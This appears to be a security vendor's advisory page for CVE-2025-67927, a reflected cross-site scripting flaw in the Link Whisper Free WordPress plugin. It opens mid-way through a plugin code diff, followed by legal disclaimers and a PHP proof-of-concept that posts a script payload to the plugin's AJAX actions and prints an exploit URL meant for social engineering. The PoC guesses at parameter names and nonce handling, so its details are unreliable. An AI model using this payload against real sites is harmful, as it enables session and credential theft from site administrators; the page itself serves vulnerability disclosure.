+                        <div style="font-size: 16px;">' . sprintf(esc_html__('To help you meet these goals, this report shows posts with out-of-guideline anchor text and %s where the percentage of compliant links is low.', 'wpil'), '<span style="background: #7645b1;border-radius: 10px;padding: 2px 6px;color: #fefefe;font-weight: bold;">highlights</span>').'</div></div>';
+                    $sub_report = '<input id="wpil-report-sub-type" type="hidden" value="anchor_length">';
                 }elseif(isset($_REQUEST['link_relation'])){
                     $title = __('Link Quality Report', 'wpil');
                     $report_description =
@@ -1870,7 +1879,7 @@
      * @param int $limit
      * @return array
      */
-    public static function getData($start = 0, $orderby = '', $order = 'DESC', $search='', $limit=20, $orphaned = false, $link_density_report = false)
+    public static function getData($start = 0, $orderby = '', $order = 'DESC', $search='', $limit=20, $orphaned = false, $link_density_report = false, $anchor_length_report = false)
     {
         global $wpdb;
         $link_table = $wpdb->prefix . "wpil_report_links";
@@ -2089,6 +2098,11 @@
             }
         }

+        // if we're showing the anchor length report
+        if($anchor_length_report){
+            // TODO: think about filterign the results to only show posts and links hat are outside the anchor word guidelines
+        }
+
         // hide ignored
         $ignored_posts = Wpil_Query::get_all_report_ignored_post_ids('p', array('orphaned' => $orphaned, 'hide_noindex' => $hide_noindex));
         $ignored_terms = '';
@@ -2343,6 +2357,7 @@
                 $show_click_traffic = !empty($options['show_click_traffic']) && $options['show_click_traffic'] != 'off';
                 $show_broken_link_type = !empty($options['show_broken_link_type']) && $options['show_broken_link_type'] != 'off';
                 $show_broken_link_discovered = !empty($options['show_broken_link_discovered']) && $options['show_broken_link_discovered'] != 'off';
+//                $enable_tours = isset($options['enable_tours']) ? ($options['enable_tours'] != 'off') : Wpil_Settings::get_tours_enabled();
             } else {
                 $show_categories = false;
                 $show_date = true;
@@ -2354,6 +2369,7 @@
                 $show_click_traffic = false;
                 $show_broken_link_type = false;
                 $show_broken_link_discovered = false;
+//                $enable_tours = Wpil_Settings::get_tours_enabled();
             }

             //get apply button
@@ -2408,7 +2424,18 @@
                 if (!isset($_POST['report_options']['hide_noindex'])) {
                     $_POST['report_options']['hide_noindex'] = 'off';
                 }
+                if (!isset($_POST['report_options']['show_link_attrs'])) {
+                    $_POST['report_options']['show_link_attrs'] = 'off';
+                }
+                if (!isset($_POST['report_options']['enable_tours'])) {
+                    $_POST['report_options']['enable_tours'] = 'off';
+                }
                 $value = $_POST['report_options'];
+
+                // Also update the global setting for tours
+                if (isset($value['enable_tours'])) {
+                    update_option('wpil_enable_tours', ($value['enable_tours'] != 'off') ? '1' : '0');
+                }
             }

             return $value;
@@ -2555,8 +2582,10 @@
         $get_all_links = Wpil_Settings::showAllLinks();
         $post_id = (int)$_POST['post_id'];
         $post_type = ($_POST['post_type'] === 'post') ? 'post': 'term';
-
+        $show_fix_anchors = (isset($_POST['show_fix_anchor']) && !empty($_POST['show_fix_anchor'])) ? true: false;
         $post = new Wpil_Model_Post($post_id, $post_type);
+        $phrases = ($show_fix_anchors) ? Wpil_Suggestion::get_post_paragraphs($post->getContent(false)): '';
+        $allow_multiple_links = !empty(get_user_meta(get_current_user_id(), 'wpil_allow_multiple_editor_links', true));

         $activity_tooltip = __('Upgrade Link Whisper with AI and see how relevant your links really are.', 'wpil');
         $ai_not_enabled = (!Wpil_Settings::has_ai_enabled()) ? '<div class="wpil-activity-upgrade-ai"><span>93%</span> <a href="'.admin_url('admin.php?page=link_whisper_ai_subscription').'" target="_blank" class="button-primary wpil-tippy-tooltipped" data-wpil-tooltip-theme="link-whisper-report-tippy" data-wpil-tooltip-interactive="1" data-wpil-tooltip-content="'.$activity_tooltip.'">Upgrade</a></div>': '';
@@ -2612,7 +2641,7 @@
                         }
                         $rep .=         '</div>
                                     </td>
-                                        <td class="'.$related.'"><div style="margin: 3px 0;"> ' . ((empty($ai_not_enabled)) ? esc_html($link->get_ai_relation_percent()): $ai_not_enabled) . '</div></td>';
+                                    <td class="'.$related.'"><div style="margin: 3px 0;"> ' . ((empty($ai_not_enabled)) ? esc_html($link->get_ai_relation_percent()): $ai_not_enabled) . '</div></td>';
                             $rep .= ($get_all_links) ? '<td><div style="margin: 3px 0;">' . $link->location . '</div></td>' : '';
 //                            $rep .= '<td class="wpil-status-icon-cell">' . self::get_dropdown_icons($link->post, $link, 'inbound-internal', true) . '</td>';
                             $rep .= '</tr>';
@@ -2631,10 +2660,15 @@
                 $header = array_merge($header, [
                     '<th>Target Post Title</th>',
                     '<th>Anchor Text</th>',
-                    '<th>URL</th>',
-                    '<th class="wpil-activity-panel-content-related '.$last_col.'">AI Content Relatedness</th>'
                 ]);

+                if(!$show_fix_anchors){
+                    $header = array_merge($header, [
+                        '<th>URL</th>',
+                        '<th class="wpil-activity-panel-content-related '.$last_col.'">AI Content Relatedness</th>'
+                    ]);
+                }
+
                 if($get_all_links){
                     $header = array_merge($header, [
                         '<th class="wpil-activity-panel-link-location wpil-activity-last-col">Link Location</th>'
@@ -2645,8 +2679,19 @@
                     '<th class="wpil-link-status-icon-header wpil-activity-panel-fixed-th">Status</th>'
                 ]);*/

+                if($show_fix_anchors){
+                    $header = array_merge($header, [
+                        //'<th>Primary Category</th>',
+                        '<th class="wpil-activity-panel-anchor-words wpil-activity-last-col">Word Count</th>'
+                    ]);
+                }
+
                 $links_data = $post->getOutboundInternalLinks();
                 foreach ($links_data as $link) {
+                    if($show_fix_anchors && ($link->anchor_word_count > 2 && $link->anchor_word_count < 8)){
+                        continue;
+                    }
+
                     if (!Wpil_Filter::linksLocation() || $link->location == Wpil_Filter::linksLocation()) {
                         $target_post = (isset($link->target_id) && !empty($link->target_id)) ? new Wpil_Model_Post($link->target_id, $link->target_type): Wpil_Post::getPostByLink($link->url);
                         $edit_link = '';
@@ -2667,30 +2712,65 @@
                             $primary_category_note = '<td><div style="margin: 3px 0;">None</div></td>';
                         }*/

-                        $rep .= '<tr class="wpil-activity-panel-edit inactive">
+                        $phrase_key = false;
+                        $phrase_key_id = '';
+                        if($show_fix_anchors){
+                            $phrase_key = self::find_link_phrase_key($phrases, $link);
+                            if(false !== $phrase_key){
+                                $phrase_key_id = 'data-wpil-sentence-id="'.$phrase_key.'"';
+                            }
+                        }
+
+                        $rep .= '<tr class="wpil-activity-panel-edit sentences inactive" '.$phrase_key_id.'>
                                     <td class="wpil-activity-panel-checkbox"><input type="checkbox" class="wpil_link_select wpil_activity_select" data-link_id="' . $link->post->id . '" data-post_id="' . $post->id . '" data-post_type="' . $post->type . '" data-anchor="' . base64_encode($link->anchor) . '" data-url="' . base64_encode($link->url) . '" data-nonce="' . wp_create_nonce('wpil_report_edit_' . $link->post->id . '_nonce_' . $link->post->id) . '"></td>
                                     <td class="wpil-activity-panel-post wpil-activity-panel-limited-text-cell"><div style="margin: 3px 0;"> ' . ((!empty($target_post)) ? esc_html($target_post->getTitle()): 'Unknown Post') . '</div></td>
-                                    <td class="wpil-activity-panel-limited-text-cell">
-                                        <div style="margin: 3px 0; display:flex">
+                                    <td class="'. (false !== $phrase_key ? '': 'wpil-activity-panel-limited-text-cell') .'">';
+                            if(false !== $phrase_key && isset($phrases[$phrase_key])){
+                                    $phrase = $phrases[$phrase_key];
+                                    unset($phrases[$phrase_key]);
+                                    $phr = self::assemble_suggestion_item($phrase);
+                                $rep .= '
+                                    <div style="display:none">'.$edit_link.'</div>
+                                    <div class="sentence top-level-sentence" data-id="'.esc_attr($post->id).'" data-type="'.esc_attr($post->type).'">
+                                        <div class="wpil_edit_sentence_form">
+                                            <textarea class="wpil_content">'.$phr->suggestions[0]->sentence_src_with_anchor.'</textarea>
+                                            <span class="button-primary">Save</span>
+                                            <span class="button-secondary">Cancel</span>
+                                            <span> <input type="checkbox" class="wpil-sentence-allow-multiple-links" data-nonce="'.wp_create_nonce(get_current_user_id() . 'allow_multiple_links_editor').'" '. (($allow_multiple_links) ? 'checked': '') .'>Allow multiple links in sentence</span>
+                                        </div>
+                                        <span class="wpil_sentence_with_anchor" data-li-id="0"><span class="wpil_sentence" title="'. esc_attr__('Double clicking a word will select it.', 'wpil') .'">' . $phr->suggestions[0]->sentence_with_anchor . '</span><span class="dashicons dashicons-image-rotate wpil-reload-sentence-with-anchor" title="'. esc_attr__('Click to undo changes', 'wpil') . '"></span></span>
+                                        <span class="wpil_edit_sentence link-form-button">| <a href="javascript:void(0)">Edit Sentence</a></span>
+                                        <input type="hidden" name="sentence" value="'.base64_encode($phr->sentence_src).'">
+                                        <input type="hidden" name="custom_sentence" value="">
+                                        <input type="hidden" name="original_sentence_with_anchor" value="'.base64_encode($phr->suggestions[0]->original_sentence_with_anchor).'">
+                                        <input type="hidden" class="wpil-activity-panel-url-edit wpil-report-edit-input" value="' . esc_attr($link->url) . '">
+                                    </div>';
+                            }else{
+                                $rep .= '<div style="margin: 3px 0; display:flex">
                                             '.$edit_link.'
                                             <div class="wpil-report-edit-display wpil-activity-panel-anchor-display"><div class="wpil-anchor-display-text">' . esc_html($link->anchor) . '</div> <a href="' . esc_url(add_query_arg(['wpil_admin_frontend' => '1', 'wpil_admin_frontend_data' => $link->create_scroll_link_data()], $post->getLinks()->view)) . '" target="_blank"><span class="dashicons dashicons-external" title="'.esc_attr__('View On Page','wpil').'" style="position: relative;top: 3px;"></span></a></div>';
-                        if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)){
-                        $rep .=            '<input class="wpil-activity-panel-anchor-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->anchor) . '">';
-                        }
+                                if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)){
+                                    $rep .= '<input class="wpil-activity-panel-anchor-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->anchor) . '">';
+                                }
+                            }
                         $rep .=         '</div>
-                                    </td>
-                                    <td class="wpil-activity-panel-limited-text-cell">
-                                        <div style="margin: 3px 0; display:flex">
-                                            '.$edit_link.'
-                                            <div href="' . esc_url($link->url) . '" target="_blank" class="wpil-report-edit-display wpil-activity-panel-url-display" style="text-decoration: underline">
-                                                <div class="wpil-url-display-text">' . esc_html($link->url) . '</div>
-                                            </div>';
-                        if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)){
-                        $rep .=            '<input class="wpil-activity-panel-url-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->url) . '">';
+                                    </td>';
+                        if($show_fix_anchors){
+                            $rep .= '<td class="wpil-activity-panel-limited-text-cell wpil-activity-panel-word-count">' .$link->anchor_word_count. '</td>';
+                        }else{
+                            $rep .= '<td class="wpil-activity-panel-limited-text-cell">
+                                            <div style="margin: 3px 0; display:flex">
+                                                '.$edit_link.'
+                                                <div href="' . esc_url($link->url) . '" target="_blank" class="wpil-report-edit-display wpil-activity-panel-url-display" style="text-decoration: underline">
+                                                    <div class="wpil-url-display-text">' . esc_html($link->url) . '</div>
+                                                </div>';
+                            if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context) && !$show_fix_anchors){
+                            $rep .=            '<input class="wpil-activity-panel-url-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->url) . '">';
+                            }
+                            $rep .=         '</div>
+                                        </td>';
+                            $rep .= '<td><div class="'.$related.'" style="margin: 3px 0;"><div class="content-relatedness-score">' . ((empty($ai_not_enabled)) ? esc_html($link->get_ai_relation_percent()): $ai_not_enabled) . '</div></div></td>';
                         }
-                        $rep .=         '</div>
-                                    </td>
-                                    <td><div class="'.$related.'" style="margin: 3px 0;"><div class="content-relatedness-score">' . ((empty($ai_not_enabled)) ? esc_html($link->get_ai_relation_percent()): $ai_not_enabled) . '</div></div></td>';
                         $rep .= ($get_all_links) ? '<td><div style="margin: 3px 0;">' . $link->location . '</div></td>' : '';
 //                        $rep .= $primary_category_note;
 //                        $rep .= '<td class="wpil-status-icon-cell">' . self::get_dropdown_icons($post, $link, 'outbound-internal', true) . '</td>';
@@ -2702,48 +2782,118 @@
             case 'outbound-external':
                 $header = array_merge($header, [
                     '<th>Anchor Text</th>',
-                    '<th>URL</th>',
                 ]);

+                if(!$show_fix_anchors){
+                    $header = array_merge($header, [
+                        '<th>URL</th>'
+                    ]);
+                }
+
                 if($get_all_links){
                     $header = array_merge($header, [
                         '<th class="wpil-activity-panel-link-location wpil-activity-last-col">Link Location</th>'
                     ]);
                 }

+                if($show_fix_anchors){
+                    $header = array_merge($header, [
+                        //'<th>Primary Category</th>',
+                        '<th class="wpil-activity-panel-anchor-words wpil-activity-last-col">Word Count</th>'
+                    ]);
+                }
+
                 /*$header = array_merge($header, [
                     '<th class="wpil-link-status-icon-header wpil-activity-panel-fixed-th">Status</th>'
                 ]);*/

                 $links_data = $post->getOutboundExternalLinks();
                 foreach ($links_data as $link) {
+                    if($show_fix_anchors && ($link->anchor_word_count > 2 && $link->anchor_word_count < 8)){
+                        continue;
+                    }
+
                     if (!Wpil_Filter::linksLocation() || $link->location == Wpil_Filter::linksLocation()) {
-                        $edit_link = '';
+                        $target_post = (isset($link->target_id) && !empty($link->target_id)) ? new Wpil_Model_Post($link->target_id, $link->target_type): Wpil_Post::getPostByLink($link->url);
+                        $edit_link = ('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)) ? '<span class="dashicons dashicons-edit wpil_activate_edit_link" title="' . esc_attr__('Edit Link', 'wpil') . '"></span>' : '';
+                        $related = (!empty($link->get_ai_relation_percent(true)) && $link->get_ai_relation_percent(true) < 50) ? 'ai-not-related': '';
+
+                        /*
+                        $primary_category_note = '<td><div style="margin: 3px 0;">None assigned</div></td>';
+                        if(!empty($link->post) && $link->post->type === 'post') {
+                            // Get the main term
+                            $primary_term = Wpil_Post::get_primary_term_for_main_taxonomy($link->post->id, $link->post->getRealType());

-                        $rep .= '<tr class="wpil-activity-panel-edit inactive">
-                                    <td class="wpil-activity-panel-checkbox"><input type="checkbox" class="wpil_link_select wpil_activity_select" data-link_id="' . $post->id . '" data-post_id="' . $post->id . '" data-post_type="' . $post->type . '" data-anchor="' . base64_encode($link->anchor) . '" data-url="' . base64_encode($link->url) . '" data-nonce="' . wp_create_nonce('wpil_report_edit_' . $post->id . '_nonce_' . $post->id) . '"></td>
-                                    <td class="wpil-activity-panel-limited-text-cell">
-                                        <div style="margin: 3px 0; display:flex">
-                                            '.$edit_link.'
-                                            <div class="wpil-report-edit-display wpil-activity-panel-anchor-display"><div class="wpil-anchor-display-text">' . esc_html($link->anchor) . '</div> <a href="' . esc_url(add_query_arg(['wpil_admin_frontend' => '1', 'wpil_admin_frontend_data' => $link->create_scroll_link_data()], $post->getLinks()->view)) . '" target="_blank"><span class="dashicons dashicons-external" title="'.esc_attr__('View On Page','wpil').'" style="position: relative;top: 3px;"></span></a></div>';
-                        if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)){
-                        $rep .=        '<input class="wpil-activity-panel-anchor-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->anchor) . '">';
+                            if ($primary_term instanceof WP_Term) {
+                                $primary_category_note = '<td><div style="margin: 3px 0;">' . esc_html($primary_term->name) . '</div></td>';
+                            } else {
+                                $primary_category_note = '<td><div style="margin: 3px 0;">None assigned</div></td>';
+                            }
+                        }elseif(!empty($link->post) && $link->post->type === 'term'){
+                            $primary_category_note = '<td><div style="margin: 3px 0;">None</div></td>';
+                        }*/
+
+                        $phrase_key = false;
+                        $phrase_key_id = '';
+                        if($show_fix_anchors){
+                            $phrase_key = self::find_link_phrase_key($phrases, $link);
+                            if(false !== $phrase_key){
+                                $phrase_key_id = 'data-wpil-sentence-id="'.$phrase_key.'"';
+                            }
                         }
-                        $rep .=         '</div>
-                                    </td>
-                                    <td class="wpil-activity-panel-limited-text-cell">
-                                        <div style="margin: 3px 0; display:flex">
+
+                        $rep .= '<tr class="wpil-activity-panel-edit sentences inactive" '.$phrase_key_id.'>
+                                    <td class="wpil-activity-panel-checkbox"><input type="checkbox" class="wpil_link_select wpil_activity_select" data-link_id="' . $link->post->id . '" data-post_id="' . $post->id . '" data-post_type="' . $post->type . '" data-anchor="' . base64_encode($link->anchor) . '" data-url="' . base64_encode($link->url) . '" data-nonce="' . wp_create_nonce('wpil_report_edit_' . $link->post->id . '_nonce_' . $link->post->id) . '"></td>
+                                    <td class="'. (false !== $phrase_key ? '': 'wpil-activity-panel-limited-text-cell') .'">';
+                            if(false !== $phrase_key && isset($phrases[$phrase_key])){
+                                    $phrase = $phrases[$phrase_key];
+                                    unset($phrases[$phrase_key]);
+                                    $phr = self::assemble_suggestion_item($phrase);
+                                $rep .= '
+                                    <div style="display:none">'.$edit_link.'</div>
+                                    <div class="sentence top-level-sentence" data-id="'.esc_attr($post->id).'" data-type="'.esc_attr($post->type).'">
+                                        <div class="wpil_edit_sentence_form">
+                                            <textarea class="wpil_content">'.$phr->suggestions[0]->sentence_src_with_anchor.'</textarea>
+                                            <span class="button-primary">Save</span>
+                                            <span class="button-secondary">Cancel</span>
+                                            <span> <input type="checkbox" class="wpil-sentence-allow-multiple-links" data-nonce="'.wp_create_nonce(get_current_user_id() . 'allow_multiple_links_editor').'" '. (($allow_multiple_links) ? 'checked': '') .'>Allow multiple links in sentence</span>
+                                        </div>
+                                        <span class="wpil_sentence_with_anchor" data-li-id="0"><span class="wpil_sentence" title="'. esc_attr__('Double clicking a word will select it.', 'wpil') .'">' . $phr->suggestions[0]->sentence_with_anchor . '</span><span class="dashicons dashicons-image-rotate wpil-reload-sentence-with-anchor" title="'. esc_attr__('Click to undo changes', 'wpil') . '"></span></span>
+                                        <span class="wpil_edit_sentence link-form-button">| <a href="javascript:void(0)">Edit Sentence</a></span>
+                                        <input type="hidden" name="sentence" value="'.base64_encode($phr->sentence_src).'">
+                                        <input type="hidden" name="custom_sentence" value="">
+                                        <input type="hidden" name="original_sentence_with_anchor" value="'.base64_encode($phr->suggestions[0]->original_sentence_with_anchor).'">
+                                        <input type="hidden" class="wpil-activity-panel-url-edit wpil-report-edit-input" value="' . esc_attr($link->url) . '">
+                                    </div>';
+                            }else{
+                                $rep .= '<div style="margin: 3px 0; display:flex">
                                             '.$edit_link.'
-                                            <div href="' . esc_url($link->url) . '" target="_blank" class="wpil-report-edit-display wpil-activity-panel-url-display" style="text-decoration: underline">
-                                                <div class="wpil-url-display-text">' . esc_html($link->url) . '</div>
-                                            </div>';
-                        if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_context)){
-                        $rep .=        '<input class="wpil-activity-panel-url-edit wpil-report-edit-input" type="text" value="' . esc_attr($link->url) . '">';
-                        }
+                                            <div class="wpil-report-edit-display wpil-activity-panel-anchor-display"><div class="wpil-anchor-display-text">' . esc_html($link->anchor) . '</div> <a href="' . esc_url(add_query_arg(['wpil_admin_frontend' => '1', 'wpil_admin_frontend_data' => $link->create_scroll_link_data()], $post->getLinks()->view)) . '" target="_blank"><span class="dashicons dashicons-external" title="'.esc_attr__('View On Page','wpil').'" style="position: relative;top: 3px;"></span></a></div>';
+                                if('related-post-link' !== Wpil_Toolbox::get_link_context($link->link_cont

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67927 - Link Whisper Free <= 0.8.8 - Reflected Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-67927
 * Reflected XSS in Link Whisper Free WordPress Plugin <= 0.8.8
 * 
 * This script demonstrates the vulnerability by crafting a malicious URL
 * that triggers JavaScript execution when visited by an authenticated user.
 * The payload is reflected in the AJAX response without proper escaping.
 */

// Configuration - Set your target WordPress site URL
$target_url = 'https://vulnerable-wordpress-site.com';

// Vulnerable AJAX endpoints identified in the diff
$vulnerable_actions = [
    'wpil_load_tours',
    'wpil_save_tour_progress', 
    'wpil_mark_tour_shown',
    'wpil_dismiss_tour_widget',
    'wpil_load_popups',
    'wpil_dismiss_popup'
];

// XSS payload - simple alert to demonstrate execution
// In real attacks, this could be replaced with credential stealing or admin actions
$xss_payload = '<script>alert("Atomic Edge Research - CVE-2025-67927");</script>';

// Choose a vulnerable action (first one in the list)
$action = $vulnerable_actions[0];

// Construct the malicious URL
// WordPress AJAX endpoints are typically at /wp-admin/admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create POST parameters - the exact parameter names would depend on the specific endpoint
// Based on the function names, these likely accept various user-controlled parameters
$post_data = [
    'action' => $action,
    'tour_id' => $xss_payload,  // Parameter likely vulnerable to XSS
    'nonce' => 'invalid_nonce'  // Nonce may be bypassed or not required
];

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

// Add headers to simulate legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response Length: " . strlen($response) . " bytesn";
    
    // Check if payload appears in response (indicating reflection)
    if (strpos($response, $xss_payload) !== false) {
        echo "VULNERABLE: XSS payload found in response!n";
        echo "The site is vulnerable to CVE-2025-67927.n";
        echo "nExploit URL for social engineering:n";
        echo $ajax_url . '?' . http_build_query($post_data) . "n";
    } else {
        echo "PATCHED: No reflection detected.n";
        echo "The site may be patched or the payload was filtered.n";
    }
}

// Close cURL session
curl_close($ch);

// Note: This PoC demonstrates the vulnerability detection.
// Actual exploitation would require social engineering to get users to visit the URL.
// The JavaScript would execute in the victim's browser when they visit the crafted URL.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School